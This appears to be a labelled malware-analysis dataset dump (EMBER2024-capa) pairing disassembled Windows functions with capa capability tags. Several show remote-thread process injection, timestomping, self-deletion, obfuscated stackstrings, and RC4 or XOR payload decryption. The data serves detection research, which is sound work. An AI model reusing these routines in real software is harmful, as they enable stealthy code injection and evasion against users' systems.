joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41144c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x90]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x41146b
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x41145f
add esi, 0x10000
push esi
mov eax, 0x40300c
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004113b4
mov dword [0x403106], eax
push 0x403023
push 0x3e8
push 0
call fcn.00411c6e
or eax, eax
jne 0x4114af
leave
ret 8
push eax
push eax
push 0
call fcn.00411c8c
or eax, eax
jne 0x4114c0
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call fcn.00411c80
or eax, eax
jne 0x4114d4
leave
ret 8
push eax
call fcn.00411c86
or eax, eax
jne 0x4114e2
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call fcn.00411c9e
or eax, eax
jne 0x4114fe
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.004112a8
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call fcn.00411ca4
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call fcn.00411c9e
or eax, eax
je 0x411551
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4015cb
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401c67
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x401037
push dword [ebp + 0xc]
call fcn.00411274
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x401836
nop
nop
add eax, dword [ebp + 8]
nop
call eax
nop
leave
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x577a15
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x5960e7
call fcn.00553178
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0056e0d5
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x5f9f88]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.00568895
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.00568895
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x57c564
Capabilities:
Receive data
Receive data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call sub.WSOCK32.dll_recv
ret 0xc

Function at 0x57c57b
Capabilities:
Send data
Send data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call sub.WSOCK32.dll_send
ret 0xc

Function at 0x6d96ff
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x60778dd0
call fcn.006daf68
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x607796c8
mov dword [esi + 4], 0x607796a4
mov dword [esi + 8], 0x60779688
mov dword [esi + 0xc], 0x60779628
mov dword [esi + 0x10], 0x60779600
mov dword [esi + 0x14], 0x607795c4
mov dword [esi + 0x18], 0x60779598
mov dword [esi + 0x1c], 0x60779588
mov dword [esi + 0x20], 0x60779560
mov dword [esi + 0x24], 0x60779550
mov dword [esi + 0x28], 0x60779538
mov dword [esi + 0x2c], 0x60779508
mov dword [esi + 0x30], 0x607794f4
mov dword [esi + 0x34], 0x607794e4
mov dword [esi + 0x7c], 0x607794d8
and dword [ebp - 4], 0
mov dword [esi + 0x9c], 1
call fcn.006d3da9
push 0x6077c57c
call dword [0x60779120]
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.006d3b03
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001560
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
push edi
xor edi, edi
mov dword [ebp - 4], esi
cmp dword [ebp + 8], esi
je 0x100015f4
push 0x80000000
push dword [ebp + 8]
call fcn.100014c9
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100015f4
push ebx
call fcn.100014e9
mov edi, eax
cmp edi, esi
je 0x100015ee
call fcn.1000175f
mov dword [ebp - 4], eax
cmp eax, esi
je 0x100015ee
push 1
push esi
push esi
push ebx
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push edi
push esi
push eax
push ebx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push esi
lea eax, [ebp + 8]
push eax
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
push edi
push esi
push dword [ebp - 8]
mov dword [ebp - 0xc], eax
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [ebp - 0xc], esi
jne 0x100015ee
push dword [ebp - 4]
call fcn.10001793
pop ecx
mov dword [ebp - 4], esi
push ebx
call fcn.10001e6b
mov ebx, dword [ebp + 0xc]
cmp ebx, esi
je 0x1000160a
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
jne 0x1000160a
mov dword [ebx], edi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10001614
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
cmp dword [ebp + 8], esi
je 0x10001665
cmp ebx, esi
je 0x10001665
push 1
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push ebx
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push esi
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push ebx
push esi
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov eax, dword [ebp - 4]
pop esi
leave
ret 4

Function at 0x1000166d
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x208]
push eax
call fcn.10001cec
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000170f
lea eax, [ebp - 0x30c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push eax
push 0
push 0
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
je 0x1000170f
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000170f
push 4
push eax
lea eax, [ebp - 0x104]
push eax
call esi
pop esi
leave
ret
Function at 0x10001812
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 8]
test edx, edx
jle 0x10001898
push ebx
sub ecx, esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
jmp 0x1000182f
mov ecx, dword [ebp - 0xc]
mov cl, byte [ecx + esi]
mov byte [ebp - 2], cl
mov cl, byte [eax + 0x100]
movzx edi, cl
add edi, eax
mov dl, byte [edi]
mov byte [ebp + 0xb], dl
mov dl, byte [eax + 0x101]
add dl, byte [ebp + 0xb]
mov dword [ebp - 0x10], edi
movzx edi, dl
add edi, eax
mov bl, byte [edi]
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x10]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
mov byte [ebp - 1], bl
mov bl, byte [ebp + 0xb]
mov byte [edi], bl
movzx edi, byte [ebp - 1]
movzx ebx, bl
add edi, ebx
mov bl, byte [ebp - 2]
and edi, 0xff
xor bl, byte [edi + eax]
inc cl
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x1000182c
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x100018e7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor esi, esi
push 0x124
lea eax, [ebp - 0x124]
push esi
push eax
xor edi, edi
mov dword [ebp - 0x128], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001925
xor eax, eax
jmp 0x10001975
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
push 0x10006164
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10001967
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1000193d
jmp 0x1000196d
mov edi, dword [ebp - 0x120]
push esi
call fcn.10001e6b
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10001a2c
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
xor edi, edi
mov dword [ebp - 0xc], edi
cmp dword [ebp + 8], edi
je 0x10001bcd
push ebx
mov ebx, dword [ebp + 0xc]
cmp ebx, edi
je 0x10001bcc
cmp dword [ebp + 0x10], edi
je 0x10001bcc
push esi
xor esi, esi
push dword [ebp + 8]
call fcn.10001d18
test eax, eax
jne 0x10001a73
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x1e
jl 0x10001a59
push dword [ebp + 8]
call fcn.10001d18
test eax, eax
je 0x10001bcb
push dword [ebp + 8]
call fcn.10001fa4
mov dword [ebp + 8], eax
cmp eax, edi
je 0x10001bcb
push edi
call fcn.1000189d
test eax, eax
je 0x10001ab0
push dword [ebp + 8]
call fcn.1000189d
test eax, eax
je 0x10001bc3
mov esi, dword [ebx + 0x3c]
mov ecx, dword [ebp + 0x10]
add esi, ebx
xor eax, eax
push 0x40
mov dword [esi + 0x58], ecx
mov word [ebx], ax
mov eax, dword [esi + 0x50]
push 0x3000
add eax, ecx
push eax
push edi
push dword [ebp + 8]
mov dword [esi], edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
cmp eax, edi
je 0x10001bc3
lea ecx, [ebp - 0x14]
push ecx
push dword [esi + 0x54]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
push dword [ebp + 8]
call ebx
movzx eax, word [esi + 0x14]
xor ecx, ecx
lea eax, [eax + esi + 0x18]
mov dword [ebp - 4], edi
cmp cx, word [esi + 6]
jae 0x10001b6f
lea edi, [eax + 8]
push 4
push 0x3000
push dword [edi]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10001b5e
mov ecx, dword [edi + 0xc]
push dword [edi + 8]
add ecx, dword [ebp + 0xc]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [edi]
mov eax, dword [edi + 4]
push dword [ebp - 0x10]
add eax, dword [ebp - 8]
push eax
push dword [ebp + 8]
call ebx
push 0x8000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
movzx eax, word [esi + 6]
add edi, 0x28
inc dword [ebp - 4]
cmp dword [ebp - 4], eax
jl 0x10001b0e
xor edi, edi
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0x10]
mov eax, dword [esi + 0x50]
push dword [ebp + 0xc]
add eax, dword [ebp - 8]
push eax
push dword [ebp + 8]
call ebx
mov esi, dword [esi + 0x28]
add esi, dword [ebp - 8]
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push edi
push edi
push edi
push esi
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, edi
jne 0x10001bb6
push esi
push dword [ebp + 8]
call fcn.10001979
cmp eax, edi
je 0x10001bc3
push eax
call fcn.10001e6b
mov dword [ebp - 0xc], 1
push dword [ebp + 8]
call fcn.10001e6b
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
pop edi
leave
ret 0xc
Function at 0x10001c27
Capabilities:
Contain obfuscated stackstrings
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push 0x80000000
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x4c], 0x5c3f5c5c
mov dword [ebp - 0x48], 0x626f6c67
mov dword [ebp - 0x44], 0x6f726c61
mov dword [ebp - 0x40], 0x735c746f
mov dword [ebp - 0x3c], 0x65747379
mov dword [ebp - 0x38], 0x6f6f726d
mov dword [ebp - 0x34], 0x79735c74
mov dword [ebp - 0x30], 0x6d657473
mov dword [ebp - 0x2c], 0x645c3233
mov dword [ebp - 0x28], 0x65766972
mov dword [ebp - 0x24], 0x6e5c7372
mov dword [ebp - 0x20], 0x2e736674
mov word [ebp - 0x1c], 0x7973
mov byte [ebp - 0x1a], 0x73
call fcn.100014c9
mov esi, eax
cmp esi, 0xffffffff
je 0x10001ce7
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call fcn.10001e6b
push 0xc0000000
push dword [ebp + 8]
call fcn.100014c9
mov esi, eax
cmp esi, 0xffffffff
je 0x10001ce7
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call fcn.10001e6b
pop esi
leave
ret 4

Function at 0x10001d18
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
xor ebx, ebx
push 0x220
lea eax, [ebp - 0x220]
push ebx
push eax
mov dword [ebp - 0x224], ebx
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push dword [ebp + 8]
push 8
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001d76
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x10001dd3
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push dword [ebp + 8]
push 8
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x10001dd3
jmp 0x10001dcd
lea eax, [ebp - 0x224]
push eax
push edi
mov dword [ebp - 0x224], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x10001dcd
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.kernel
lea eax, [ebp - 0x204]
push eax
call esi
test eax, eax
je 0x10001db6
push str..dll
push eax
call esi
test eax, eax
jne 0x10001dca
lea eax, [ebp - 0x224]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x10001d98
jmp 0x10001dcd
xor ebx, ebx
inc ebx
push edi
call fcn.10001e6b
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4
Function at 0x10001ddc
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor esi, esi
push 0x124
lea eax, [ebp - 0x124]
push esi
push eax
mov dword [ebp - 0x128], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
xor edi, edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001e1a
xor eax, eax
jmp 0x10001e67
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
push 0x10006164
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10001e5c
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10001e32
jmp 0x10001e5f
xor edi, edi
inc edi
push esi
call fcn.10001e6b
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x1000205c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push 9
pop ecx
mov esi, str.1234567890QWERTYUIOPASDFGHJKLZXCVBNM
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x13c]
push eax
movsb byte es:[edi], byte [esi]
mov dword [ebp - 4], 0xffaaff
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [ebp - 0x13c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002099
xor esi, esi
push esi
push esi
push esi
sub eax, edx
push esi
mov edi, eax
lea eax, [ebp - 4]
push eax
push esi
push esi
lea eax, [ebp - 0x13c]
push eax
mov byte [ebp - 0x139], cl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor dword [ebp - 4], edi
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop ecx
div ecx
test edx, edx
je 0x100020d7
not dword [ebp - 4]
lea eax, [ebp - 0x38]
mov dword [ebp - 8], esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100020e0
sub eax, esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0x10033bc8
mov eax, dword [ebp - 8]
xor edx, edx
div dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
movsx eax, byte [ebp + edx - 0x38]
imul eax, dword [ebp - 8]
xor eax, dword [ebp - 4]
and ecx, 0x80000001
jns 0x10002117
dec ecx
or ecx, 0xfffffffe
inc ecx
mov ecx, 0x10005874
jne 0x10002123
mov ecx, 0x10005958
mov edi, dword [ebp - 0xc]
push eax
push ecx
push ebx
push edi
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002134
add dword [ebp - 0xc], ebx
inc dword [ebp - 8]
cmp dword [ebp - 0xc], 0x10035a40
mov esi, 0x1000595c
movsw word es:[edi], word [esi]
jl 0x100020f3
xor esi, esi
mov edi, 0x10035a40
xor edx, edx
mov eax, esi
div dword [ebp - 0x10]
mov ecx, esi
movsx eax, byte [ebp + edx - 0x38]
imul eax, esi
xor eax, dword [ebp - 4]
xor eax, 0xffeeffaa
and ecx, 0x80000001
jns 0x1000217f
dec ecx
or ecx, 0xfffffffe
inc ecx
mov ecx, 0x10005874
jne 0x1000218b
mov ecx, 0x10005958
push eax
push ecx
push ebx
push edi
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
add edi, ebx
inc esi
cmp edi, 0x100375ac
jl 0x10002159
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100023c5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
push esi
push edi
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 0x7263694d
mov dword [esp + 0x18], 0x666f736f
mov dword [esp + 0x1c], 0x73795374
mov dword [esp + 0x20], 0x65746e65
mov dword [esp + 0x24], 0x74614772
mov word [esp + 0x28], 0x3265
mov byte [esp + 0x2a], 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x1000246a
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10002444
lea eax, [esp + 0xf]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
jmp 0x10002444
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10001ddc
test eax, eax
je 0x1000243c
mov esi, dword [0x1003349c]
mov edi, dword [0x10033498]
call fcn.100018e7
test eax, eax
je 0x1000246a
push esi
push edi
push eax
call main
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100026c8
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x147]
push ebx
push eax
mov dword [ebp - 0x44], 0x626f6c47
mov dword [ebp - 0x40], 0x4d5c6c61
mov dword [ebp - 0x3c], 0x6f726369
mov dword [ebp - 0x38], 0x74666f73
mov dword [ebp - 0x34], 0x65737953
mov dword [ebp - 0x30], 0x7265746e
mov dword [ebp - 0x2c], 0x65746147
mov word [ebp - 0x28], 0x37
mov dword [ebp - 0xc], 0x7070615c
mov dword [ebp - 8], 0x63746170
mov word [ebp - 4], 0x5c68
mov byte [ebp - 2], bl
mov byte [ebp - 0x148], bl
call sub.MSVCRT.dll_memset
xor eax, eax
add esp, 0xc
lea edi, [ebp - 0x48]
stosw word es:[edi], ax
lea eax, [ebp - 0x44]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp eax, ebx
je 0x10002765
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.10001f2b
mov esi, eax
jmp 0x10002767
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x100027aa
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call fcn.10001e6b
push ebx
push 0x80000
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x1003337c], eax
call fcn.100021a8
mov esi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call esi
test eax, eax
jne 0x100027b1
call fcn.10002ce6
test eax, eax
je 0x100027b1
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call esi
mov edi, eax
push 0x104
lea eax, [ebp - 0x24c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x3c
push str.dabetreswe5puphEgawrede3reswusachunawraCr73enetememudecrefan
lea eax, [ebp - 0x148]
call fcn.100017d5
mov esi, 0x10007400
push esi
mov edx, 0x2b965
mov ecx, esi
call fcn.10001812
push esi
call fcn.10003c38
pop ecx
mov dword [0x1003349c], eax
cmp eax, 0xffffffff
je 0x100027aa
call fcn.1000175f
mov dword [0x10033498], eax
cmp eax, ebx
je 0x100027aa
mov ecx, dword [0x1003349c]
push ecx
push eax
push ecx
push esi
call fcn.10003bb8
add esp, 0x10
cmp eax, dword [0x1003349c]
jne 0x100027aa
push ebx
call fcn.1000189d
test eax, eax
je 0x100028a9
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0x7263694d
mov dword [ebp - 0x20], 0x666f736f
mov dword [ebp - 0x1c], 0x73795374
mov dword [ebp - 0x18], 0x65746e65
mov dword [ebp - 0x14], 0x74614772
mov word [ebp - 0x10], 0x3265
mov byte [ebp - 0xe], bl
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x100027aa
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
lea eax, [ebp - 0x24c]
push eax
call section..text
push dword [0x1003349c]
push dword [0x10033498]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call main
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100027aa
cmp edi, ebx
je 0x100028d6
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x100028d6
call fcn.10002470
call fcn.100023c5
call fcn.1000166d
jmp 0x100027aa
lea eax, [ebp - 0x24c]
push eax
call section..text
call fcn.100023c5
jmp 0x100027aa
Function at 0x10002ca7
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10002ce2
cmp dword [ebp - 0x84], 2
jne 0x10002ce2
cmp dword [ebp - 0x90], 6
jb 0x10002ce2
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret